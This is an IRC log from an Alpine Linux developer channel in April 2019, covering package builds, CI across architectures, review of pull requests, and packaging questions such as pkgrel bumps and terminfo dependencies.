2019-04-10 15:59:18 <otlabs> thank you clandmeter , i was looking in wiki
2019-04-10 16:00:00 <clandmeter> your name was spamming our commits channel
2019-04-10 16:00:32 <otlabs> 
ACTION smells delicious 

2019-04-10 16:01:14 <otlabs> that's good. i will keep going! :-)
2019-04-10 16:02:32 <clandmeter> otlabs: https://build.alpinelinux.org/
2019-04-10 16:02:40 <otlabs> oh, yes!
2019-04-10 16:02:55 <clandmeter> aarch64 is slow again...
2019-04-10 16:02:58 <otlabs> 15 files changes
2019-04-10 16:03:12 <clandmeter> i think cython builds with 1 core
2019-04-10 16:03:25 <otlabs> 91 insertions
2019-04-10 16:03:47 <otlabs> how mane core has the aarch64 machine?
2019-04-10 16:03:58 <otlabs> 88 deletions
2019-04-10 16:04:16 <otlabs> that was the biggest commit in my whole life
2019-04-10 16:04:44 <clandmeter> 96
2019-04-10 16:04:47 <clandmeter> i think
2019-04-10 16:05:07 <clandmeter> or else half
2019-04-10 16:05:34 <otlabs> 
ACTION feels great and in need to celebrate

2019-04-10 16:05:45 <clandmeter> it works nice when you use them all
2019-04-10 16:05:48 <clandmeter> less if not
2019-04-10 16:06:02 <otlabs> 
ACTION throes confetti

2019-04-10 16:06:12 <clandmeter> the new huawei's are much nicer
2019-04-10 16:06:17 <otlabs> 96 aarch64 cores! what a monster!
2019-04-10 16:06:39 <clandmeter> it should mention it on the top of the build log
2019-04-10 16:06:50 <clandmeter> on drone
2019-04-10 16:09:42 <otlabs> I got that
2019-04-10 16:09:43 <otlabs> - Number of Cores: 96
2019-04-10 16:27:58 <_ikke_> scipy failed on s390x
2019-04-10 16:49:02 <otlabs> auch, lets see what will happen on other archies
2019-04-10 16:50:32 <_ikke_> I think that's the only one
2019-04-10 16:50:40 <_ikke_> the rest seems to have succeeded
2019-04-10 16:50:49 <_ikke_> https://build.alpinelinux.org/buildlogs/build-edge-s390x/community/py-scipy/py-scipy-1.2.1-r3.log
2019-04-10 16:53:17 <otlabs> ok
2019-04-10 16:53:52 <otlabs> so that was a specific s390x issue
2019-04-10 16:56:50 <_ikke_> I don't even see what's going wrong in that log
2019-04-10 17:00:57 <_ikke_> otlabs: all seems well now
2019-04-10 17:21:36 <otlabs> _ikke_: thank you, i was away
2019-04-10 18:37:46 <Whichway> Is modloop an alpine exclusive?  Is there any modloop documentation?  Which github repository contains the modloop source?  Thanks.
2019-04-10 18:39:54 <SpaceToast> Whichway: modloop is just a squashfs filesystem that contains kernel modules
2019-04-10 18:40:12 <SpaceToast> so the repository would be linus/linux ;)
2019-04-10 18:40:20 <SpaceToast> and squashfs, ofc
2019-04-10 18:40:34 <_ikke_> why squashfs?
2019-04-10 18:40:45 <_ikke_> (trying to understand how it works)
2019-04-10 18:40:55 <SpaceToast> probably because that's what's usually used in cdroms ¯\_(ツ)_/¯
2019-04-10 18:41:07 <jwh> compressed, readonly
2019-04-10 18:41:07 <SpaceToast> that reason being high compression ratio + you can mount it
2019-04-10 18:41:10 <jwh> both qualities you want
2019-04-10 18:41:14 <_ikke_> right
2019-04-10 18:41:23 <SpaceToast> you can see what happens to it in /etc/init.d/modloop
2019-04-10 18:41:26 <SpaceToast> which is in the openrc package
2019-04-10 18:41:34 <jwh> it's pretty efficient at compressing a bunch of files
2019-04-10 18:41:41 <jwh> rather than a block image
2019-04-10 18:41:45 <Whichway> Thanks.  That sounds like a useful clarification of my muddled state.
2019-04-10 18:43:48 <clandmeter> it also has firmware
2019-04-10 18:45:06 <iggy> when moving something from testing to community that has deps in testing, do the deps need to be moved first in a separate PR?
2019-04-10 18:46:49 <_ikke_> iggy: no, can be done in the same PR
2019-04-10 19:48:55 <otlabs> clandmeter and _ikke_ : both cython(2|3) install /usr/bin/cython. sould we provide /usr/bin/cython2 and /usr/bin/cython3 as it done for python? archlinux uses cython, cython2 and cython3, https://git.archlinux.org/svntogit/community.git/tree/trunk/PKGBUILD?h=packages/cython
2019-04-10 19:49:41 <danieli> should probably provide both and symlink cython3 -> cython
2019-04-10 19:50:06 <otlabs> good, thank you danieli
2019-04-10 19:50:22 <danieli> (in my opinion)
2019-04-10 19:50:34 <hpagseddy[m]> hello, why there isnt firefox for arm architectures yet?
2019-04-10 19:50:47 <otlabs> i will prepare PR based on how it was handled in arch linux for further discussion
2019-04-10 19:59:52 <SpaceToast> hpagseddy[m]: I'd imagine it has something to do with rust being restricted to amd64
2019-04-10 19:59:59 <SpaceToast> not sure why that's the case though, I'd ask the maintainer
2019-04-10 20:00:03 <mps> hpagseddy[m]: firefox depends on rust and rust is not ported to arm on musl libc
2019-04-10 20:00:51 <hpagseddy[m]> but it is already ported to other arm based distros like arch and debian
2019-04-10 20:01:17 <mps> debian and other distros are gnu libc based
2019-04-10 20:01:36 <hpagseddy[m]> oh thats right, i missed that point
2019-04-10 20:01:42 <mps> Alpine is musl libc based
2019-04-10 20:01:56 <iggy> _ikke_: hmm, but the PR build fails because the packages aren't available
2019-04-10 20:03:12 <mps> hpagseddy[m]: although I built firefox on Alpine aarch64 and armvt but didn't managed to make proper rust apk
2019-04-10 20:03:34 <mps> s/armvt/armv7/
2019-04-10 20:03:34 <alpine-meetbot> mps meant to say: hpagseddy[m]: although I built firefox on Alpine aarch64 and armv7 but didn't managed to make proper rust apk
2019-04-10 20:03:52 <hpagseddy[m]> how can i use the latest version that supports arm?
2019-04-10 20:04:55 <mps> there are two options, use what I built
2019-04-10 20:05:21 <mps> if you trust some random person, me in this case
2019-04-10 20:05:21 <hpagseddy[m]> how can i use it?
2019-04-10 20:06:02 <hpagseddy[m]> im not that schizophrenic so yes :)
2019-04-10 20:06:05 <mps> another option could be that I write guide how to do that yourself
2019-04-10 20:06:48 <hpagseddy[m]> both of them sound ok to me
2019-04-10 20:07:59 <mps> I wrote small note about building it with rust from adelie linux but these notes are not meant to be a guide how to build rust on Alpine
2019-04-10 20:08:41 <hpagseddy[m]> just package it and send to me then :)
2019-04-10 20:08:56 <mps> this note are for me to not forget how I did it
2019-04-10 20:09:45 <mps> i have apk ready for alpine stable
2019-04-10 20:10:15 <mps> if you want I can put it on my web server
2019-04-10 20:10:33 <hpagseddy[m]> that will be nice
2019-04-10 20:10:42 <mps> armv7 and aarc64 only, not armhf
2019-04-10 20:11:16 <hpagseddy[m]> ouch, so i need to port my device to armv7 first
2019-04-10 20:11:28 <mps> what arch version of Alpine you use
2019-04-10 20:11:55 <hpagseddy[m]> armhf
2019-04-10 20:11:57 <mps> it is easy to upgrade Alpine from armhf to armv7
2019-04-10 20:12:23 <hpagseddy[m]> yeah, i know. I can do it
2019-04-10 20:13:32 <mps> btw, you can run firefox in bubblewrap or firejail for more security
2019-04-10 20:14:26 <hpagseddy[m]> i've heard firejail before, what is it? Something like chroot?
2019-04-10 20:15:06 <HRio> mps: I did just that when upgrading from 3.8 to 3.9 on my rpi3
2019-04-10 20:16:31 <HRio> you can do something like this https://dhole.github.io/post/raspberry_pi_alpine_upgrade/ but use the armv7 tar.gz
2019-04-10 20:21:29 <mps> HRio: interesting
2019-04-10 20:22:09 <otlabs> is it possible that $pkgdir do not update right for subpackages?
2019-04-10 20:23:12 <mps> I made some small notes how to do upgrade using another box where mount original armhf and using apk.static
2019-04-10 20:23:35 <tcely> otlabs: $subpkgdir is for subpkgs and $pkgdir is for the origin AFAIK
2019-04-10 20:24:02 <otlabs> tcely: oh, you saved me! thank you! let try that
2019-04-10 20:29:38 <mps> hpagseddy[m]: when you are ready PM me if you still want my build of firefox-esr
2019-04-10 20:33:08 <otlabs> tcely: worked out as expected now! thanks!
2019-04-10 20:33:19 <tcely> otlabs: You're welcome
2019-04-10 20:46:52 <tcely> pr7024 is ready
2019-04-10 20:49:58 <tcely> HRio: Thanks for your help with finding the patch. I added a check so that if something like that error happens again the build will fail.
2019-04-10 20:52:56 <HRio> tcely: np, good with an extra test for this!
2019-04-10 20:53:32 <_ikke_> looking at it now
2019-04-10 21:03:58 <_ikke_> tcely: i wonder if it's better to link directly to the upstream patch rather than including it in aports (I believe I recall that being suggested before in other PRs)
2019-04-10 21:04:40 <tcely> You're suggesing putting the URL in the source ?
2019-04-10 21:05:25 <_ikke_> indeed
2019-04-10 21:05:27 <tcely> I have to download the file anyway to sum it, so it won't change my process either way
2019-04-10 21:12:12 <_ikke_> Ok, I don't see any precedent in aports
2019-04-10 21:12:36 <_ikke_> one case
2019-04-10 21:16:54 <tcely> _ikke_: which aport?
2019-04-10 21:39:19 <iggy> I think my PR build is failing because the dependency is a -dev sub package so the names don't match
2019-04-10 21:42:42 <tcely> iggy: that doesn't sound correct. which PR is it?
2019-04-10 21:43:13 <iggy> pr7021 https://travis-ci.org/alpinelinux/aports/builds/518491631
2019-04-10 21:52:34 <tcely> iggy: There's a problem with parse-datetime.y around line 37 which you can see in the build log at line 2788
2019-04-10 21:53:09 <tcely> Now why is my PR dumping core on arm 6/7 ?
2019-04-10 21:54:58 <tcely> 4 ./appender_test.at:5: "${abs_top_builddir}/appender_test" 2>&1
2019-04-10 21:54:58 <tcely> 5 Aborted (core dumped)
2019-04-10 21:55:12 <tcely> That really doesn't tell me much about the cause.
2019-04-10 22:11:10 <iggy> tcely: nice catch, I'm still getting used to building my own alpine packages... clearly
2019-04-10 22:14:38 <tcely> _ikke_: did you miss pr6255 ?
2019-04-10 23:02:53 <tcely> clandmeter: Is the DroneCI armhf emulated?
2019-04-11 00:47:28 <otlabs> tcely: as i remember all arm boxes are run on aarch64
2019-04-11 00:48:27 <otlabs> i had to deal with that in testing/xmrig package
2019-04-11 00:48:54 <otlabs> ok, time to go, see you later ppl and thanks for all help
2019-04-11 05:25:49 <iggy> what do we do about travis jobs exceeding max run time? Stupid c++
2019-04-11 06:21:16 <clandmeter> tcely: emulated is not the right word
2019-04-11 06:22:09 <clandmeter> It runs in 32bit mode on aarch64
2019-04-11 06:24:13 <clandmeter> Same as armv7
2019-04-11 06:24:22 <clandmeter> And x86
2019-04-11 06:34:46 <tcely> x86 runs on x86_64 though, correct?
2019-04-11 07:50:11 <clandmeter> yes
2019-04-11 07:50:52 <clandmeter> x86 runs on 64bit kernel in 32mode
2019-04-11 07:52:24 <_ikke_> clandmeter: you know what ttdev is?
2019-04-11 07:52:36 <clandmeter> fabled
2019-04-11 07:53:09 <_ikke_> ah ok, ttdev-edge-x86_64 is 120G
2019-04-11 07:55:03 <clandmeter> i guess you could ping him or send an email
2019-04-11 07:55:11 <_ikke_> yes
2019-04-11 09:13:48 <tcely> Hah. I personally have more than half the outstanding PRs labelled for R-main
2019-04-11 09:17:13 <tcely> 1/3 really, that filter wasn't quite correct. It'd be nice if GitHub had query/dashboards more like jira
2019-04-11 10:32:30 <kmaxwell> does anyone know why aws-cli is in testing not community?
2019-04-11 10:33:08 <kmaxwell> it gets quite regular updates and I think is widely used
2019-04-11 10:33:46 <danieli> it probably hasn't been requested
2019-04-11 10:35:29 <_ikke_> And/or dependencies are still in testing
2019-04-11 10:36:37 <danieli> py3-botocore, py3-colorama, py3-jmespath, py3-s3transfer
2019-04-11 10:36:57 <_ikke_> So they would have to be moved to community at the same time
2019-04-11 10:40:47 <kmaxwell> thanks :-) I understand dependencies would have to move as well
2019-04-11 10:41:32 <kmaxwell> I used it a few different places and was thinking about 3.10
2019-04-11 10:43:45 <_ikke_> You could contact the maintainer or provide a PR to move them
2019-04-11 10:57:35 <kmaxwell> _ikke_: yes good suggestion, I will see how much is involved
2019-04-11 10:57:41 <kmaxwell> thanks!
2019-04-11 12:17:11 <kmaxwell> drone CI building on the different architectures is very cool
2019-04-11 12:17:59 <kmaxwell> working on https://github.com/alpinelinux/aports/pull/6994 was the first time I've really seen it help
2019-04-11 12:29:28 <_ikke_> Yes, good CI is really beneficial
2019-04-11 12:31:17 <kmaxwell> I know gitlab's well and have seen travis before but I'm really impressed with drone
2019-04-11 12:34:17 <_ikke_> We are planning to go to gitlab probably
2019-04-11 12:36:43 <_ikke_> In the last ~3 days we went from 193 open PRs to 224 open PRs :(
2019-04-11 12:38:00 <kmaxwell> why the :( ? I am responsible for 3 of these and don't want to cause a problem!
2019-04-11 12:38:25 <clandmeter> we are happy with PR's
2019-04-11 12:38:33 <clandmeter> but its hard to keep up
2019-04-11 12:38:37 <clandmeter> thats the :(
2019-04-11 12:38:42 <_ikke_> yes, indeed
2019-04-11 12:40:08 <kmaxwell> is there anything I can do to help? I don't have any special level of access
2019-04-11 12:41:10 <clandmeter> kmaxwell: you can.
2019-04-11 12:41:20 <_ikke_> reviewing PRs might help. If he PRs are in good shape, it helps us applying them quicker
2019-04-11 12:41:21 <clandmeter> for instance review of pr's
2019-04-11 12:42:52 <kmaxwell> so look at open PRs and make suggestions to bring them up to policy? is that right?
2019-04-11 12:43:19 <_ikke_> Correct
2019-04-11 12:47:24 <kmaxwell> ok good I will try and review some PRs later today or tomorrow, thanks
2019-04-11 12:47:39 <clandmeter> kmaxwell: thank you!
2019-04-11 13:29:13 <kmaxwell> can I double check please - options="!libtool" is the default so isn't needed in an APKBUILD?
2019-04-11 13:31:53 <_ikke_> correct: https://git.alpinelinux.org/abuild/tree/abuild.in#n682
2019-04-11 13:34:04 <kmaxwell> _ikke_: thank you I was looking at exactly the same line on GitHub :)
2019-04-11 13:47:00 <otlbas> hi ppl
2019-04-11 13:47:19 <_ikke_> otlbas: typo in your name?
2019-04-11 13:47:47 <otlbas> yep
2019-04-11 13:48:01 <otlabs> yes, that's me .-)
2019-04-11 13:48:17 <otlabs> _ikke_: hi!
2019-04-11 13:48:43 <_ikke_> hehe :-)
2019-04-11 13:48:49 <clandmeter> i didnt recognize you
2019-04-11 13:48:51 <_ikke_> I noticed because the color of your name was different
2019-04-11 13:49:23 <otlabs> clandmeter: yo!
2019-04-11 13:49:34 <_ikke_> The way you greeted made me recognize you :)
2019-04-11 13:49:52 <otlabs> i need my coffee
2019-04-11 13:51:38 <otlabs> clandmeter: yes, that's me! please, do not hide in the bushes!
2019-04-11 13:52:34 <otlabs> i came in pease!
2019-04-11 13:52:50 <otlabs> sorry, not true
2019-04-11 13:52:57 <_ikke_> http://images.wisegeek.com/peas-in-pods.jpg?
2019-04-11 13:52:59 <otlabs> i made another PR
2019-04-11 13:53:50 <otlabs> ;-)
2019-04-11 13:54:13 <otlabs> pr7023
2019-04-11 13:54:34 <otlabs> anybody in a mood to poke me a bit? (or not)
2019-04-11 13:56:18 <clandmeter> afk
2019-04-11 13:56:27 <otlabs> _ikke_: yes, i am so green :-)
2019-04-11 14:13:11 <kmaxwell> is there a plan to make options="!check" or check() policy? I mean with some sort of timeline
2019-04-11 14:14:52 <kmaxwell> I've seen the warning https://git.alpinelinux.org/abuild/tree/abuild.in#n1596 but its a few years old (and says soon!)
2019-04-11 14:15:33 <_ikke_> I'm not aware of any concrete plans atm
2019-04-11 14:17:56 <mps> imo, it simpler and clearer to have "!check" than to have check() with nothing in it
2019-04-11 14:42:47 <kmaxwell> mps: I agree
2019-04-11 14:43:05 <kmaxwell> I'm a bit more on the fence about a check that calls --version
2019-04-11 15:01:00 <tmhoang> Is there anyway to disable ttyS0 in the kernel parm ?
2019-04-11 15:03:29 <mps> tmhoang: is it enabled by default?
2019-04-11 15:03:43 <tmhoang> should not
2019-04-11 15:04:15 <mps> maybe on the virt images, not sure
2019-04-11 15:06:21 <tmhoang> it seems on netboot images, ttyS0 is enabled by default ? clandmeter
2019-04-11 15:06:33 <mps> I would like it enabled on every image but it is not easy because there are different names for serial devices on different machines
2019-04-11 15:06:48 <tmhoang> # enable login on alternative console
2019-04-11 15:06:48 <tmhoang> ttyS0::respawn:/sbin/getty -L 0 ttyS0 vt100
2019-04-11 15:07:06 <tmhoang> mps: right
2019-04-11 15:07:56 <mps> ttyAMA0 on aarch64, xvc0 on xen VM and maybe something else somewhere
2019-04-11 15:27:00 <kmaxwell> does anyone know when a package version upgrade requires a pkgrel bump on other packages?
2019-04-11 15:29:32 <_ikke_> If the ABI changes
2019-04-11 15:30:07 <_ikke_> (that's mostly for C based applications)
2019-04-11 15:31:08 <_ikke_> If python or ruby is updated, all library packages should be rebuilt as well
2019-04-11 15:31:45 <_ikke_> so basically any time the dependent package needs to be rebuilt to work with the new version
2019-04-11 15:48:50 <kmaxwell> _ikke_: thanks I think I understand, need to look further into this example :)
2019-04-11 15:50:25 <_ikke_> kmaxwell: If you look at the end of the abuild output, it tracks soname changes. That's a big indication that the ABI has changed
2019-04-11 15:56:10 <kmaxwell> _ikkie_: just looking at some drone build logs, is '>>> No soname differences for ' what you mean?
2019-04-11 15:57:05 <_ikke_> yes
2019-04-11 16:01:30 <kmaxwell> thank you! :)
2019-04-11 16:09:30 <kmaxwell> thanks for puting up with all of my questions, I had a go at reviewing PRs
2019-04-11 16:10:05 <_ikke_> No worry, an investment in the future :)
2019-04-11 16:10:22 <kmaxwell> managed to look at six just now, some of the changes are even in aports already with the PR still open
2019-04-11 16:11:13 <_ikke_> Sometimes the bot doesn't close the PR
2019-04-11 16:11:25 <_ikke_> sometimes it's because the PR is overlooked
2019-04-11 16:11:30 <_ikke_> kmaxwell: Do you know which ones?
2019-04-11 16:16:01 <kmaxwell> _ikke_: https://github.com/alpinelinux/aports/pull/6770
2019-04-11 16:17:35 <kmaxwell> I think every PR I looked at was different, there's a lot to think about! :)
2019-04-11 18:08:49 <mps> is it needed for tmux to depend on ncurses-terminfo
2019-04-11 18:40:04 <tcely> mps: is there a reason it should not?
2019-04-11 18:40:46 <SpaceToast> mps: ncurses-terminfo contains the terminfo for TERM=tmux
2019-04-11 18:40:50 <SpaceToast> so kind of, yes ;)
2019-04-11 18:53:50 <mps> ncurses-terminfo size is 7274496 and tmux size is 516096
2019-04-11 18:55:10 <mps> and tmux could have terminfo in its apk
2019-04-11 18:55:59 <SpaceToast> please convince every other distro that the canonical distributor of terminfos should not be the canonical distributor of terminfos and that every project should be handling its own terminfos :)
2019-04-11 18:56:54 <mps> I understand convenience but just 'wonder'
2019-04-11 18:58:04 <mps> I hope that the Alpine will not become as other distros and try to follow it's first 'S' (small)
2019-04-11 18:58:09 <SpaceToast> it's not necessarily just convenience either
2019-04-11 18:58:14 <SpaceToast> terminfos are quite.... arcane
2019-04-11 18:58:18 <SpaceToast> in some ways
2019-04-11 18:58:34 <SpaceToast> the ncurses folks know the details, because they have to (they handle a good chunk of it as is)
2019-04-11 18:58:43 <mps> agree, but we have to live with it
2019-04-11 18:58:44 <SpaceToast> someone that just wrote a terminal emulator (which tmux is, in part) do not necessarily
2019-04-11 18:59:05 <SpaceToast> which is why ncurses developers are the canonical source for terminfos, and projects just kind of let them do their thing
2019-04-11 18:59:15 <SpaceToast> and when project developers do write their terminfos, they tend to be buggy
2019-04-11 19:00:06 <mps> I talked with the tmux author when he wrote one first versions and I know he is competent :)
2019-04-11 19:04:49 <mps> st-term have terminfo in it's source but this is duplicated in ncurses-terminfo, what could lead to 'issues'
2019-04-11 19:06:40 <mps> but, ok, never mind ;)
2019-04-11 19:07:24 <tcely> mps: you could always RFC terminfo over HTTPS. ;-)
2019-04-11 19:08:04 <tcely> Seems to work for browsers and DNS ok
2019-04-11 19:10:09 <mps> tcely: not sure I understrand. mind to explain it little  'RFC terminfo over HTTPS'
2019-04-11 19:12:22 <tcely> Just a joke. Not an actual suggestion. If we were to switch to a shared copy of terminfo instead of installing it every where putting it into a DNSSEC type system might be ok.
2019-04-11 19:13:44 <mps> aha, now understand, it looked as joke but was not sure
2019-04-11 21:07:55 <_ikke_> Is there any issue having the source of a package (a small shell script) purely in aports?
2019-04-11 21:25:49 <mps> _ikke_: there are some not so small openrc scripts, although I don't know right answer
2019-04-11 21:49:51 <tcely> _ikke_: Is there no upstream at all?
2019-04-11 21:50:34 <tcely> The PRs for backporting bind to 3.6-3.9 for security fixes should be ready to go.
2019-04-11 21:52:40 <tcely> Also, bind 9.14.0 is ready for edge in pr6890
2019-04-11 21:57:10 <otlabs> time to leave, see you ppl
2019-04-11 23:03:06 <tcely> Using quasselcore in docker makes upgrading so much nicer now.
2019-04-12 06:35:02 <ncopa> this alpine re-org thing has consumed all my time and energy this week so nothing has happend on the python front
2019-04-12 06:35:06 <ncopa> :-(
2019-04-12 09:44:19 <danieli> i've pretty much been trying to keep a distance to all of that for a while now
2019-04-12 10:32:04 <_ikke_> ncopa: Can I help with the python3.7 update?
2019-04-12 10:32:28 <_ikke_> ncopa: You provided the patches you had, but made some progress after that
2019-04-12 11:02:37 <_ikke_> I feel we need to implement some kind of linting in our CI, that would prevent a lot of back-and-forth about code style
2019-04-12 11:22:20 <ncopa> _ikke_: agree
2019-04-12 11:23:53 <ncopa> Integrating a linter with the CI would hopefully save us for some manual work
2019-04-12 11:24:32 <ncopa> I think we should also write som doc, FAQ or similar for the most common issues
2019-04-12 11:24:38 <_ikke_> yes
2019-04-12 11:24:58 <ncopa> So instead of re explain, just point to the doc
2019-04-12 11:26:17 <ncopa> Re helping with python 3.7, I think the best way to help at this point is to help with the things around, like you do
2019-04-12 11:26:18 <_ikke_> That's step 1, but it helps even more if the CI would point out issues. People are a lot less likely to argue with CI results
2019-04-12 11:26:25 <_ikke_> ncopa: alright
2019-04-12 11:26:28 <ncopa> PRs, bugs etc
2019-04-12 11:26:43 <ncopa> So I can focus on the python 3.7
2019-04-12 11:28:16 <ncopa> I haven’t been able to do so many commits this week, so it was very encouraging to see that there have been 200 commits
2019-04-12 11:45:59 <andypost> ncopa, please check php PRs - final rename waiting for you to close #9277
2019-04-12 12:24:16 <blueness> ncopa: ping
2019-04-12 12:24:40 <blueness> ncopa: does alpine use `/lib` for all its library directories?  32 or 64 bit?
2019-04-12 12:24:54 <blueness> i just looked at x86_64 and noticed from the iso that it does just /lib
2019-04-12 12:25:26 <blueness> you may want to look at https://bugs.gentoo.org/675954 because i think it affects alpine too, but i'm not sure and i'm checking now
2019-04-12 12:26:08 <_ikke_> afaik alpine is not multilib
2019-04-12 12:30:55 <blueness> _ikke_: it isn't and neither is gentoo-musl, but if you read that bug, i'm arguing with another developer.  on a non-multilib system, my expectation is that all libraries are in /lib
2019-04-12 12:31:02 <blueness> even for 64-bit systems
2019-04-12 12:31:44 <blueness> i think what gentoo-musl and alpine are doing is totally reasonable and to be expected on non-multilibe systems whether its 32 or 64 bits
2019-04-12 12:32:01 <blueness> so i just wanted  confirmation that alpine stick to that, and it appears to
2019-04-12 12:38:09 <_ikke_> yes, we don't have /lib64
2019-04-12 12:41:03 <blueness> _ikke_: actually you don't have the bug that started this, i just installed alpine x86_64 and checked the output of `gcc -print-multi-os-directory` and it correctly returns `../lib` on alpine while gentoo-musl x86_64 incorrectly returns `../lib64`
2019-04-12 12:41:38 <_ikke_> ah ok
2019-04-12 12:41:44 <blueness> so sorry for the noise, but at least both distro are adhering to the same `/lib` standard for all its 32/64 bit systems
2019-04-12 13:10:13 <_ikke_> Any opinion about `builddir="$builddir/.." default_prepare` as suggested by me here: https://github.com/alpinelinux/aports/pull/6996#discussion_r274120934?
2019-04-12 13:30:14 <sbalto> hi ppl
2019-04-12 13:31:39 <otlabs> tcely: i am attending all your suggestions now, thank you for taking a look!
2019-04-12 13:36:08 <tcely> otlabs: you're welcome
2019-04-12 14:58:33 <tcely> rnalrd: pr7064
2019-04-12 14:59:45 <tcely> It looks like maybe a cherry-pick from master was used instead of the patch from pr7045
2019-04-12 15:22:18 <tcely> rnalrd: The diff (https://patch-diff.githubusercontent.com/raw/alpinelinux/aports/pull/7064.diff) you requested is ready.
2019-04-12 15:36:57 <danieli> I bump pkgrel if I need a package rebuilt against one of its dependencies, right?
2019-04-12 15:37:16 <_ikke_> yes
2019-04-12 15:38:49 <danieli> thanks
2019-04-12 15:40:27 <danieli> _ikke_: is there no good system to automatically rebuild packages with a lot of reverse deps?
2019-04-12 15:41:52 <_ikke_> There are some tools to help to find them, but here is no automated way to trigger the rebuild
2019-04-12 15:42:06 <danieli> all right, so the only way is to bump pkgrel
2019-04-12 15:42:14 <_ikke_> danieli: note that you do need to record the pkgrel bump so that the new version gets installed
2019-04-12 15:42:26 <danieli> define 'record'
2019-04-12 15:42:37 <_ikke_> without a pkgrel bump, apk won't update to the rebuilt version
2019-04-12 15:42:50 <danieli> right, yeah, that I know
2019-04-12 15:43:00 <danieli> just needed confirmation, it's been a while since I've done this :) it'll get better when I get used to it
2019-04-12 16:06:03 <tcely> ^^ lol. I find it only gets more tedious after being used to it.
2019-04-12 16:43:21 <ncopa> blueness: i think we have a patch for gcc for our /lib
2019-04-12 16:44:15 <ncopa> https://git.alpinelinux.org/aports/tree/main/gcc/gcc-pure64.patch
2019-04-12 16:48:06 <telmich> danieli: thanks! I was actually seeing this channel after the main one :-)
2019-04-12 16:48:24 <ncopa> and this: https://git.alpinelinux.org/aports/tree/main/gcc/gcc-pure64-mips.patch
2019-04-12 17:56:45 <_ikke_> I guess we cannot use shellcheck for linting, as ghc currently is only built on x86_64
2019-04-12 18:01:33 <tcely> Why not? CI works on x86_64 just fine. We don't even need to use Alpine for linting if something else would be better.
2019-04-12 18:03:46 <_ikke_> tcely: d'oh, you are right
2019-04-12 18:18:32 <tcely> I'd suggest we create a linting plugin for DroneCI. https://docs.drone.io/plugins/examples/bash/
2019-04-12 18:18:53 <_ikke_> We don't want to rely on drone
2019-04-12 18:19:31 <_ikke_> So we can use drone to execute it, but don't want to rely on something drone.io specific
2019-04-12 18:30:12 <tcely> One of the best things about DroneCI is that beyond the yml file nothing is truly drone.io specific. It all comes down to commands run in docker containers.
2019-04-12 18:31:15 <tcely> Doesn't Travis have docker support now too anyway?
2019-04-12 18:33:03 <_ikke_> yes, but the arches are still limited
2019-04-12 18:33:07 <_ikke_> afaik
2019-04-12 18:35:49 <tcely> Right but we're talking about a single static analysis task. We just need one arch that works.
2019-04-12 18:36:17 <_ikke_> indeed, but preferably alpine if possible
2019-04-12 18:38:21 <tcely> So we make the plugin (docker image) with Alpine or whatever works and execute it using Travis / Drone / GitLab
2019-04-12 18:39:37 <tcely> Set the variables the same and provide the same input filesystem you should see the same results no matter where it runs.
2019-04-12 18:44:16 <_ikke_> Looking at the drone.io documentation, it doesn't look like you can define a pipeline that is run before all other pipelines
2019-04-12 18:44:43 <_ikke_> (I'm used to gitlab)
2019-04-12 18:51:05 <tcely> You would have to use depends_on to have the linter trigger by pull requests then trigger the current build pipelines on the linter
2019-04-12 18:53:14 <tcely> https://docs.drone.io/user-guide/pipeline/triggers/#by-status
2019-04-12 18:54:18 <_ikke_> Right, that's indeed what I mean, thanks
2019-04-12 18:55:01 <_ikke_> Currently fighting with cabal to do what I want
2019-04-12 18:59:43 <_ikke_> Or just peek at what archlinux does
2019-04-12 19:02:23 <_ikke_> that would mean a lot of packages
2019-04-12 19:09:08 <otlabs> andypost: thank you!
2019-04-12 19:37:55 <otlabs> how frequently the package index is updated?
2019-04-12 19:47:34 <mps> otlabs: it should be whenever package is uploaded
2019-04-12 19:47:52 <otlabs> ok
2019-04-12 19:47:55 <otlabs> thank you
2019-04-12 19:48:02 <otlabs> must be my proxy
2019-04-12 19:48:28 <mps> I'm not sure, I don't manage infra, just guess from experience
2019-04-12 19:48:44 <otlabs> mps: could you please check on your alpine box - apk search cython3
2019-04-12 19:48:57 <mps> could be also mirror time sync
2019-04-12 19:48:57 <danieli> otlabs: https://pkgs.alpinelinux.org/packages?name=cython3&branch=edge
2019-04-12 19:49:17 <danieli> $ apk search cython3
2019-04-12 19:49:17 <danieli> cython3-0.29.6-r1
2019-04-12 19:49:19 <mps> just sec
2019-04-12 19:49:35 <otlabs> danieli: thank you
2019-04-12 19:49:41 <mps> eh, danieli was faster
2019-04-12 19:49:46 <otlabs> might be a sync issue also
2019-04-12 19:49:55 <danieli> already had like 5 shells to different alpine boxes in front of me
2019-04-12 19:59:15 <otlabs> thank you again
2019-04-12 19:59:57 <otlabs> ok, till now no update seen here
2019-04-12 20:00:13 <danieli> which mirror are you using?
2019-04-12 20:00:16 <otlabs> must be a sign i need to enjoy this weekend :-)
2019-04-12 20:00:42 <otlabs> dl-cdn.a.o
2019-04-12 20:01:17 <otlabs> need to leave, have a nice weekend ppl!
2019-04-12 20:01:24 <danieli> cython3-0.29.6-r1.apk
2019-04-12 20:01:32 <otlabs> and thanks a lot for all help!
2019-04-12 20:01:34 <danieli> that's on dl-cdn, edge/community/x86_64
2019-04-12 20:01:48 <danieli> did you run apk update?
2019-04-12 20:01:54 <danieli> have a nice weekend though :)
2019-04-12 20:01:55 <otlabs> danieli: i have a tricky proxy here
2019-04-12 20:02:00 <danieli> that's probably it
2019-04-12 20:02:02 <danieli> give it a solid kick
2019-04-12 20:02:06 <otlabs> danieli: :-)
2019-04-12 20:02:34 <otlabs> oh, no, it is so big and strong, better to wait till monday ;-)
2019-04-12 20:02:51 <otlabs> bye ppl
2019-04-13 01:39:44 <blueness> ncopa: yeah i came up with something similar.  i may adopt that patch
2019-04-13 02:04:04 <clandmeter> Good morning
2019-04-13 02:15:52 <danieli> morning
2019-04-13 02:15:55 <danieli> it's 4 am here :)
2019-04-13 03:41:25 <clandmeter> Still early here :)
2019-04-13 07:05:49 <tmhoang> clandmeter: 4am on Saturday monring ? Must be looong Friday night haha
2019-04-13 07:07:55 <danieli> idr when he was going to taiwan, but i suspect he might be there now - it is 3.07 pm there
2019-04-13 07:08:38 <tmhoang> ah, enjoy then :)
2019-04-13 07:41:28 <clandmeter> yes taiwan mountain area
2019-04-13 07:45:27 <mps> clandmeter: \o
2019-04-13 09:16:40 <tmhoang> clandmeter: learn some kungfu then :))
2019-04-13 16:30:40 <p4Wv1qn095FW> very strange, travis seems not to be able to download the emacs sources, and drone seems to have some aslr/exec-shield mitigation that cannot be disabled, and thus all CI tests fail on the new emacs, while in a private minimalistic alpine vm the build succeeds: https://github.com/alpinelinux/aports/pull/7074
